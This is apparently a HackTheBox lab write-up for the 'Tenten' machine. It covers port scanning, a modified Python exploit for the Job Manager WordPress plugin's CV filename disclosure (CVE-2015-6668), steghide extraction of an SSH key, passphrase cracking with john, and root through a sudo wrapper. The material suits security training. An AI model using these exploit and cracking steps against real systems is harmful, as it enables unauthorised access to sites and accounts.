[HackTheBox] Tenten

Tenten Card

Tenten starts with very basic enumeration, but it very quickly becomes an interesting box. It requires knowledge of how to use and edit exploits and combines it with thinking outside the box. After a very fun user I was a bit dissapointed with simplicity of escalation to root, but it was still an enjoyable experience.

Summary

  • Find a job-manager vulnerability in WordPress's installation.
  • Follow exploit's steps.
  • Find the CV .jpg file.
  • Extract id_rsa from the image using steghide.
  • Crack key's passphrase using ssh2john and john.
  • Spawn a root shell using /bin/fuckin file.

Recon

Port Scan

nmap -n -sV -p- -T 5 -Pn 10.10.10.10

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

HTTP

The main page is WordPress, so I've decided to run WordPresscan on it. It detected a very interesting vulnerability...

python wordpresscan.py -u "http://10.10.10.10/"

[i] Name: job-manager - v0.7.25
        [!]AUTHBYPASS : Job Manager <= 0.7.25 -  Insecure Direct Object Reference - ID:8167
         | Fixed in None
         | References:
                 - https://vagmour.eu/cve-2015-6668-cv-filename-disclosure-on-job-manager-wordpress-plugin/
                 - Cve 2015-6668

Exploit

I'll follow the steps from the exploit writeup available HERE.

First I'll enumerate all the posts using burpsuite.

Tenten Request

Tenten Intruder

List of located posts:

2  => http://10.10.10.10/index.php/sample-page/
5  => http://10.10.10.10/index.php/jobs/
8  => http://10.10.10.10/index.php/jobs/pen-tester/
11 => http://10.10.10.10/index.php/jobman_app/application//
13 => http://10.10.10.10/index.php/jobman_app/application-2/hackeraccessgranted/

To check exact names of applications I again used intruder and got HackerAccessGranted.

Tenten Hacker

Now, let's edit the exploit slightly, so it has more relevant year range to machine's release date. We can also add some more extension in case the CV was uploaded as a picture or a text file.

Final exploit:

import requests
print("""  
CVE-2015-6668  
Title: CV filename disclosure on Job-Manager WP Plugin  
Author: Evangelos Mourikis  
Blog: https://vagmour.eu  
Plugin URL: http://www.wp-jobmanager.com  
Versions: <=0.7.25  
""")
website = "http://10.10.10.10"  
filename = "HackerAccessGranted"
filename2 = filename.replace(" ", "-")
for year in [2016,2017]:  
    for i in range(1,13):
        for extension in {'doc','pdf','docx','txt','text','rtf','html','jpg','jpeg','png'}:
            URL = website + "/wp-content/uploads/" + str(year) + "/" + "{:02}".format(i) + "/" + filename2 + "." + extension
            req = requests.get(URL)
            print("[?] Checking: " + str(year) + "/" + "{:02}".format(i) + "/" + filename2 + "." + extension)
            if req.status_code==200:
                print("[+] URL of CV found! " + URL)
                quit()

After a few seconds, we got the CV's url!

Tenten Exploit

Just a regular image? My stegano senses are tingling!

Neither binwalk, not regular strings have found anything, but steghide did...

steghide info HackerAccessGranted.jpg

"HackerAccessGranted.jpg":
  format: jpeg
  capacity: 15.2 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "id_rsa":
    size: 1.7 KB
    encrypted: rijndael-128, cbc
    compressed: yes

We got an id_rsa file hidden in the image without a passphrase. Let's extract it:

Tenten Extract

id_rsa is encrypted with a passphrase. Let's extract the hash using ssh2john.py and crack it with john.

/usr/share/john/ssh2john.py id_rsa > hash

sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash

Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
superpassword    (id_rsa)
1g 0:00:00:05 DONE (2020-07-15 15:05) 0.1742g/s 2498Kp/s 2498Kc/s 2498KC/sa6_123..*7¡Vamos!
Session completed

We got a passphrase: superpassword

Now we can log in to ssh using the id_rsa key as takis user. Why takis? The only post on the WordPress page was created by takis.

Tenten Takis

Tenten Shell

Privilage Escalation

Quick sudo -l reveals that we can execute /bin/fuckin as root without a need for password.

Tenten Sudo

cat /bin/fuckin

#!/bin/bash
$1 $2 $3 $4

/bin/fuckin executes whatever we pass to it. Very easy root!

Tenten Root